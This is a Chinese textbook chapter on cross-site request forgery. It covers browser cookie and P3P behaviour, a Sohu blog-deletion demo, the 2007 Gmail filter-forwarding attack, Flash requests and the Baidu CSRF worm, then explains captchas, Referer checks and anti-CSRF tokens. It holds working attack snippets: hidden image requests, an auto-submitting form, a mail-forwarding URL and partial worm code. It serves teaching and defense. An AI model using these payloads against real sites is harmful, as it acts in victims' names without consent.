跨站点请求伪造(CSRF)

CSRF的全名是Cross Site RequestForgery,翻译成中文就是跨站点请求伪造。它是一种常见的Web攻击,但很多开发者对它很陌生。CSRF也是Web安全中最容易被忽略的一种攻击方式,甚至很多安全工程师都不太理解它的利用条件与危害,因此不予重视。但CSRF在某些时候却能够产生强大的破坏性。

CSRF简介

什么是CSRF呢?我们先看一个例子。

还记得在“跨站脚本攻击”一章中,介绍XSSPayload时的那个“删除搜狐博客”的例子吗?登录Sohu博客后,只需要请求这个URL,就能够把编号为“156713012”的博客文章删除。

1 2 3
http://blog.sohu.com/manage/entry.do? m=delete&id=156713012

这个URL同时还存在CSRF漏洞。我们将尝试利用CSRF漏洞,删除编号为“156714243”的博客文章。这篇文章的标题是“test1”。

搜狐博客个人管理界面

攻击者首先在自己的域构造一个页面:

1
http://www.a.com/csrf.html

其内容为:

1 2 3
<img src="http://blog.sohu.com/manage/ entry.do?m=delete&id=156714243" />

使用了一个<img>标签,其地址指向了删除博客文章的链接。

攻击者诱使目标用户,也就是博客主“test1test”访问这个页面:

执行CSRF攻击

该用户看到了一张无法显示的图片,再回过头看看搜狐博客:

文章被删除

发现原来存在的标题为“test1”的博客文章,已经被删除了!

原来刚才访问http://www.a.com/csrf.html时,图片标签向搜狐的服务器发送了一次GET请求:

CSRF请求

而这次请求,导致了搜狐博客上的一篇文章被删除。

回顾整个攻击过程,攻击者仅仅诱使用户访问了一个页面,就以该用户身份在第三方站点里执行了一次操作。试想:如果这张图片是展示在某个论坛、某个博客,甚至搜狐的一些用户空间中,会产生什么效果呢?只需要经过精心的设计,就能够起到更大的破坏作用。

这个删除博客文章的请求,是攻击者所伪造的,所以这种攻击就叫做“跨站点请求伪造”。

CSRF进阶

浏览器的Cookie策略

在上节提到的例子里,攻击者伪造的请求之所以能够被搜狐服务器验证通过,是因为用户的浏览器成功发送了Cookie的缘故。

浏览器所持有的Cookie分为两种:一种是“Session Cookie”,又称“临时Cookie”;另一种是“Third-party Cookie”,也称为“本地Cookie”。

两者的区别在于,Third-party Cookie是服务器在Set-Cookie时指定了Expire时间,只有到了Expire时间后Cookie才会失效,所以这种Cookie会保存在本地;而Session Cookie则没有指定Ex-pire时间,所以浏览器关闭后,Session Cookie就失效了。

在浏览网站的过程中,若是一个网站设置了Session Cookie,那么在浏览器进程的生命周期内,即使浏览器新打开了Tab页,Session Cookie也都是有效的。Session Cookie保存在浏览器进程的内存空间中;而Third-party Cookie则保存在本地。

如果浏览器从一个域的页面中,要加载另一个域的资源,由于安全原因,某些浏览器会阻止Third-party Cookie的发送。

下面这个例子,演示了这一过程。

 1  2  3  4  5  6  7  8  9 10 11
在http://www.a.com/cookie.php中,会给浏览器写入两个Cookie:一个为Session Cookie,另一个为Third-party Cookie。 <?php header("Set-Cookie: cookie1=123;"); header("Set-Cookie: cookie2=456;expires=Thu, 01-Jan-2030 00:00:01 GMT;", false); ?>

访问这个页面,发现浏览器同时接收了这两个Cookie。

浏览器接收Cookie

这时再打开一个新的浏览器Tab页,访问同一个域中的不同页面。因为新Tab页在同一个浏览器进程中,因此Session Cookie将被发送。

Session Cookie被发送

此时在另外一个域中,有一个页面http://www.b.com/csrf-test.html,此页面构造了CSRF以访问www.a.com。

1
<iframe src="http://www.a.com" ></iframe>

这时却会发现,只能发送出Session Cookie,而Third-party Cookie被禁止了。

只发送了Session Cookie

这是因为IE出于安全考虑,默认禁止了浏览器在<img>、<iframe>、<script>、<link>等标签中发送第三方Cookie。

再回过头来看看Firefox的行为。在Firefox中,默认策略是允许发送第三方Cookie的。

在Firefox中允许发送第三方Cookie

由此可见,在本章一开始所举的CSRF攻击案例中,因为用户的浏览器是Firefox,所以能够成功发送用于认证的Third-party Cookie,最终导致CSRF攻击成功。

而对于IE浏览器,攻击者则需要精心构造攻击环境,比如诱使用户在当前浏览器中先访问目标站点,使得Session Cookie有效,再实施CSRF攻击。

在当前的主流浏览器中,默认会拦截Third-party Cookie的有:IE 6、IE 7、IE 8、Safari;不会拦截的有:Firefox 2、Firefox 3、Opera、GoogleChrome、Android等。

但若CSRF攻击的目标并不需要使用Cookie,则也不必顾虑浏览器的Cookie策略了。

P3P头的副作用

尽管有些CSRF攻击实施起来不需要认证,不需要发送Cookie,但是不可否认的是,大部分敏感或重要的操作是躲藏在认证之后的。因此浏览器拦截第三方Cookie的发送,在某种程度上来说降低了CSRF攻击的威力。可是这一情况在“P3P头”介入后变得复杂起来。

P3P Header是W3C制定的一项关于隐私的标准,全称是The Platform for Privacy Prefer-ences。

如果网站返回给浏览器的HTTP头中包含有P3P头,则在某种程度上来说,将允许浏览器发送第三方Cookie。在IE下即使是<iframe>、<script>等标签也将不再拦截第三方Cookie的发送。

在网站的业务中,P3P头主要用于类似广告等需要跨域访问的页面。但是很遗憾的是,P3P头设置后,对于Cookie的影响将扩大到整个域中的所有页面,因为Cookie是以域和path为单位的,这并不符合“最小权限”原则。

假设有www.a.com与www.b.com两个域,在www.b.com上有一个页面,其中包含一个指向www.a.com的iframe。

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15
http://www.b.com/test.html的内容为: <iframe width=300 height=300 src="http://www.a.com/test.php" ></iframe> http://www.a.com/test.php是一个对 a.com域设置Cookie的页面,其内容为: <?php header("Set-Cookie: test=axis; domain=.a.com; path=/"); ?>

当请求http://www.b.com/test.html时,它的iframe会告诉浏览器去跨域请求 www.a.com/test.php。test.php会尝试Set-Cookie,所以浏览器会收到一个Cookie。

如果Set-Cookie成功,再次请求该页面,浏览器应该会发送刚才收到的Cookie。可是由于跨域限制,在a.com上Set-Cookie是不会成功的,所以无法发送刚才收到的Cookie。 这里无论是临时Cookie还是本地Cookie都一样。测试环境请求过程

可以看到,第二次发包,只是再次接收到了Cookie,上次Set-Cookie的值并不曾发送,说明没有Set-Cookie成功。但是这种情况在加入了P3P头后会有所改变,P3P头允许跨域访问隐私数据,从而可以跨域Set-Cookie成功。

修改www.a.com/test.php如下:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15
<?php header("P3P: CP=CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"); header("Set-Cookie: test=axis; expires=Sun, 23-Dec-2018 08:13:02 GMT; domain=.a.com; path=/"); ?>

再次重复上面的测试过程:测试环境请求过程

可以看到,第二个包成功发送出之前收到的Cookie。

P3P头的介入改变了a.com的隐私策略,从而使得<iframe>、<script>等标签在IE中不再拦截第三方Cookie的发送。P3P头只需要由网站设置一次即可,之后每次请求都会遵循此策略,而不需要再重复设置。

P3P的策略看起来似乎很难懂,但其实语法很简单,都是一一对应的关系,可以查询W3C标准。比如:

CP是Compact Policy的简写;CURa中 CUR是<current/>的简写;a是always的简写。如下表:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
[57] compact-purpose = "CUR" | ; for <current/> "ADM" [creq] | ; for <admin/> "DEV" [creq] | ; for <develop/> "TAI" [creq] | ; for <tailoring/> "PSA" [creq] | ; for <pseudo-analysis/> "PSD" [creq] | ; for <pseudo-decision/> "IVA" [creq] | ; for <individual- analysis/> "IVD" [creq] | ; for <individual- decision/> "CON" [creq] | ; for <contact/> "HIS" [creq] | ; for <historical/> "TEL" [creq] | ; for <telemarketing/> "OTP" [creq] ; for <other-purpose/> [58] creq = "a"| ;"always" "i"| ;"opt-in" "o" ;"opt-out"

此外,P3P头也可以直接引用一个XML 策略文件:

 1  2  3  4  5  6  7  8  9 10 11
HTTP/1.1 200 OK P3P: policyref="http://catalog.example.com/ P3P/PolicyReferences.xml" Content-Type: text/html Content-Length: 7413 Server: CC-Galaxy/1.3.18

若想了解更多的关于P3P头的信息,可以参考W3C标准。

正因为P3P头目前在网站的应用中被广泛应用,因此在CSRF的防御中不能依赖于浏览器对第三方Cookie的拦截策略,不能心存侥幸。

很多时候,如果测试CSRF时发现<iframe>等标签在IE中居然能发送Cookie,而又找不到原因,那么很可能就是因为P3P头在作怪。

GET? POST?

在CSRF攻击流行之初,曾经有一种错误的观点,认为CSRF攻击只能由GET请求发起。因此很多开发者都认为只要把重要的操作改成只允许POST请求,就能防止CSRF攻击。

这种错误的观点形成的原因主要在于,大多数CSRF攻击发起时,使用的HTML标签都是<img>、<iframe>、<script>等带“src”属性的标签,这类标签只能够发起一次GET请求,而不能发起POST请求。而对于很多网站的应用来说,一些重要操作并未严格地区分GET与POST,攻击者可以使用GET来请求表单的提交地址。比如在PHP中,如果使用的是$_REQUEST,而非$_POST获取变量,则会存在这个问题。

对于一个表单来说,用户往往也就可以使用GET方式提交参数。比如以下表单:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15
<form action="/register" id="register" method="post" > <input type=text name="username" value="" /> <input type=password name="password" value="" /> <input type=submit name="submit" value="submit" /> </form>

用户可以尝试构造一个GET请求:

1 2 3
http://host/register? username=test&password=passwd

来提交,若服务器端未对请求方法进行限制,则这个请求会通过。

如果服务器端已经区分了GET与POST,那么攻击者有什么方法呢?对于攻击者来说,有若干种方法可以构造出一个POST请求。

最简单的方法,就是在一个页面中构造好一个form表单,然后使用JavaScript自动提交这个表单。比如,攻击者在www.b.com/test.html中编写如下代码:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
<form action="http://www.a.com/register" id="register" method="post" > <input type=text name="username" value="" /> <input type=password name="password" value="" /> <input type=submit name="submit" value="submit" /> </form> <script> var f = document.getElementById("register"); f.inputs[0].value = "test"; f.inputs[1].value = "passwd"; f.submit(); </script>

攻击者甚至可以将这个页面隐藏在一个不可见的iframe窗口中,那么整个自动提交表单的过程,对于用户来说也是不可见的。

在2007年的Gmail CSRF漏洞攻击过程中,安全研究者pdp展示了这一技巧。

首先,用户需要登录Gmail账户,以便让浏览器获得Gmail的临时Cookie。

用户登录Gmail

然后,攻击者诱使用户访问一个恶意页面。

攻击者诱使用户访问恶意页面

在这个恶意页面中,隐藏了一个iframe,iframe的地址指向pdp写的CSRF构造页面。

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17
http://www.gnucitizen.org/util/csrf? _method=POST&_enctype=multipart/form- data&_action =https%3A//mail.google.com/mail/h/ ewt1jmuj4ddv/%3Fv %3Dprf&cf2_emc=true&cf2_email=evil inbox@mailinator.com&cf1_from&cf1_to&cf1_subj &cf1_has&cf1_hasnot&cf1_attach=true&tfi& s=z&irf=on&nvp_bu_cftb=Create%20Filter

这个链接的实际作用就是把参数生成一个POST的表单,并自动提交。

由于浏览器中已经存在Gmail的临时Cookie,所以用户在iframe中对Gmail发起的这次请求会成功——邮箱的Filter中会新创建一条规则,将所有带附件的邮件都转发到攻击者的邮箱中。

恶意站点通过CSRF在用户的Gmail中建立一条规则

Google在不久后即修补了这个漏洞。

Flash CSRF

Flash也有多种方式能够发起网络请求,包括POST。比如下面这段代码:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17
import flash.net.URLRequest; import flash.system.Security; var url = new URLRequest("http://target/page"); var param = new URLVariables(); param = "test=123"; url.method = "POST"; url.data = param; sendToURL(url); stop();

除了URLRequest外,在Flash中还可以使用getURL,loadVars等方式发起请求。比如:

1 2 3 4 5 6 7
req = new LoadVars(); req.addRequestHeader("foo", "bar"); req.send("http://target/page?v1=123&v2=456", "_blank", "GET");

在IE 6、IE 7中,Flash发送的网络请求均可以带上本地Cookie;但是从IE 8起,Flash发起的网络请求已经不再发送本地Cookie了。

CSRF Worm

2008年9月,国内的安全组织80sec公布了一个百度的CSRF Worm。

漏洞出现在百度用户中心的发送短消息功能中:

1 2 3
http://msg.baidu.com/? ct=22&cm=MailSend&tn=bmSubmit&sn=用户账户&co=

消息内容

只需要修改参数sn,即可对指定的用户发送短消息。而百度的另外一个接口则能查询出某个用户的所有好友:

1 2 3
http://frd.baidu.com/?ct=28&un=用户账户 &cm=FriList&tn=bmABCFriList&callback=gotfriends

将两者结合起来,可以组成一个CSRF Worm——让一个百度用户查看恶意页面后,将给他的所有好友发送一条短消息,然后这条短消息中又包含一张图片,其地址再次指向CSRF页面,使得这些好友再次将消息发给他们的好友,这个Worm因此得以传播。

 1  2  3  4  5  6  7  8  9 10 11 12 13
Step 1:模拟服务器端取得request的参数。 var lsURL=window.location.href; loU = lsURL.split("?"); if (loU.length>1) { var loallPm = loU[1].split("&"); ……

定义蠕虫页面服务器地址,取得?和&符号后的字符串,从URL中提取感染蠕虫的用户名和感染者的好友用户名。

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17
Step 2:好友json数据的动态获取。 var gotfriends = function (x) vilmsg]" for(i=0;i<friends.length;i++){ …… mysendmsg=mysendmsg+"&"+i; eval('x'+i+'=new Image();x'+i +'.src=unescape(""+mysendmsg+'");'); ……

将感染者的用户名和需要传播的好友用户名放到蠕虫链接内,然后输出短消息。

这个蠕虫很好地展示了CSRF的破坏性——即使没有XSS漏洞,仅仅依靠CSRF,也是能够发起大规模蠕虫攻击的。

CSRF的防御

CSRF攻击是一种比较奇特的攻击,下面看看有什么方法可以防御这种攻击。

验证码

验证码被认为是对抗CSRF攻击最简洁而有效的防御方法。

CSRF攻击的过程,往往是在用户不知情的情况下构造了网络请求。而验证码,则强制用户必须与应用进行交互,才能完成最终请求。因此在通常情况下,验证码能够很好地遏制CSRF攻击。

但是验证码并非万能。很多时候,出于用户体验考虑,网站不能给所有的操作都加上验证码。因此,验证码只能作为防御CSRF的一种辅助手段,而不能作为最主要的解决方案。

Referer Check

Referer Check在互联网中最常见的应用就是“防止图片盗链”。同理,Referer Check也可以被用于检查请求是否来自合法的“源”。

常见的互联网应用,页面与页面之间都具有一定的逻辑关系,这就使得每个正常请求的Referer具有一定的规律。

比如一个“论坛发帖”的操作,在正常情况下需要先登录到用户后台,或者访问有发帖功能的页面。在提交“发帖”的表单时,Referer的值必然是发帖表单所在的页面。如果Referer的值不是这个页面,甚至不是发帖网站的域,则极有可能是CSRF攻击。

即使我们能够通过检查Referer是否合法来判断用户是否被CSRF攻击,也仅仅是满足了防御的充分条件。Referer Check的缺陷在于,服务器并非什么时候都能取到Referer。很多用户出于隐私保护的考虑,限制了Referer的发送。在某些情况下,浏览器也不会发送Referer,比如从HTTPS跳转到HTTP,出于安全的考虑,浏览器也不会发送Ref-erer。

在Flash的一些版本中,曾经可以发送自定义的Referer头。虽然Flash在新版本中已经加强了安全限制,不再允许发送自定义的Referer头,但是难免不会有别的客户端插件允许这种操作。

出于以上种种原因,我们还是无法依赖于Ref-erer Check作为防御CSRF的主要手段。但是通过Referer Check来监控CSRF攻击的发生,倒是一种可行的方法。

Anti CSRF Token

现在业界针对CSRF的防御,一致的做法是使用一个Token。在介绍此方法前,先了解一下CSRF的本质。

CSRF的本质

CSRF为什么能够攻击成功?其本质原因是重要操作的所有参数都是可以被攻击者猜测到的。

攻击者只有预测出URL的所有参数与参数值,才能成功地构造一个伪造的请求;反之,攻击者将无法攻击成功。

出于这个原因,可以想到一个解决方案:把参数加密,或者使用一些随机数,从而让攻击者无法猜测到参数值。这是“不可预测性原则”的一种应用(参考“我的安全世界观”一章)。

比如,一个删除操作的URL是:

1
http://host/path/delete?username=abc&item=123

把其中的username参数改成哈希值:

1 2 3
http://host/path/delete?username=md5(salt +abc)&item=123

这样,在攻击者不知道salt的情况下,是无法构造出这个URL的,因此也就无从发起CSRF攻击了。而对于服务器来说,则可以从Session或Cookie中取得“username=abc”的值,再结合salt对整个请求进行验证,正常请求会被认为是合法的。

但是这个方法也存在一些问题。首先,加密或混淆后的URL将变得非常难读,对用户非常不友好。其次,如果加密的参数每次都改变,则某些URL将无法再被用户收藏。最后,普通的参数如果也被加密或哈希,将会给数据分析工作带来很大的困扰,因为数据分析工作常常需要用到参数的明文。

因此,我们需要一个更加通用的解决方案来帮助解决这个问题。这个方案就是使用Anti CSRFToken。

回到上面的URL中,保持原参数不变,新增一个参数Token。这个Token的值是随机的,不可预测:

1 2 3
http://host/path/delete? username=abc&item=123&token=[random(seed)]

Token需要足够随机,必须使用足够安全的随机数生成算法,或者采用真随机数生成器(物理随机,请参考“加密算法与随机数”一章)。Token应该作为一个“秘密”,为用户与服务器所共同持有,不能被第三者知晓。在实际应用时,Token可以放在用户的Session中,或者浏览器的Cookie中。

由于Token的存在,攻击者无法再构造出一个完整的URL实施CSRF攻击。

Token需要同时放在表单和Session中。在提交请求时,服务器只需验证表单中的Token,与用户Session(或Cookie)中的Token是否一致,如果一致,则认为是合法请求;如果不一致,或者有一个为空,则认为请求不合法,可能发生了CSRF攻击。

如下这个表单中,Token作为一个隐藏的in-put字段,放在form中:

隐藏字段中的Token

同时Cookie中也包含了一个Token:

Cookie中的Token

Token的使用原则

Anti CSRF Token在使用时,有若干注意事项。

防御CSRF的Token,是根据“不可预测性原则”设计的方案,所以Token的生成一定要足够随机,需要使用安全的随机数生成器生成Token。

此外,这个Token的目的不是为了防止重复提交。所以为了使用方便,可以允许在一个用户的有效生命周期内,在Token消耗掉前都使用同一个Token。但是如果用户已经提交了表单,则这个To-ken已经消耗掉,应该再次重新生成一个新的To-ken。

如果Token保存在Cookie中,而不是服务器端的Session中,则会带来一个新的问题。如果一个用户打开几个相同的页面同时操作,当某个页面消耗掉Token后,其他页面的表单内保存的还是被消耗掉的那个Token,因此其他页面的表单再次提交时,会出现Token错误。在这种情况下,可以考虑生成多个有效的Token,以解决多页面共存的场景。

最后,使用Token时应该注意Token的保密性。Token如果出现在某个页面的URL中,则可能会通过Referer的方式泄露。比如以下页面:

1 2 3
http://host/path/manage? username=abc&token=[random]

这个manage页面是一个用户面板,用户需要在这个页面提交表单或者单击“删除”按钮,才能完成删除操作。

在这种场景下,如果这个页面包含了一张攻击者能指定地址的图片:

1
<img src="http://evil.com/notexist" />

则“http://host/path/manage?user-name=abc&token=[random]”会作为HTTP请求的Referer发送到evil.com的服务器上,从而导致Token泄露。

因此在使用Token时,应该尽量把Token放在表单中。把敏感操作由GET改为POST,以form表单(或者AJAX)的形式提交,可以避免Token泄露。

此外,还有一些其他的途径可能导致Token泄露。比如XSS漏洞或者一些跨域漏洞,都可能让攻击者窃取到Token的值。

CSRF的Token仅仅用于对抗CSRF攻击,当网站还同时存在XSS漏洞时,这个方案就会变得无效,因为XSS可以模拟客户端浏览器执行任意操作。在XSS攻击下,攻击者完全可以请求页面后,读出页面内容里的Token值,然后再构造出一个合法的请求。这个过程可以称之为XSRF,和CSRF以示区分。

XSS带来的问题,应该使用XSS的防御方案予以解决,否则CSRF的Token防御就是空中楼阁。安全防御的体系是相辅相成、缺一不可的。

小结

本章介绍了Web安全中的一个重要威胁:CSRF攻击。CSRF攻击也能够造成严重的后果,不能忽略或轻视这种攻击方式。

CSRF攻击是攻击者利用用户的身份操作用户账户的一种攻击方式。设计CSRF的防御方案必须先理解CSRF攻击的原理和本质。

根据“不可预测性原则”,我们通常使用AntiCSRF Token来防御CSRF攻击。在使用Token时,要注意Token的保密性和随机性。

浙ICP备11005866号-12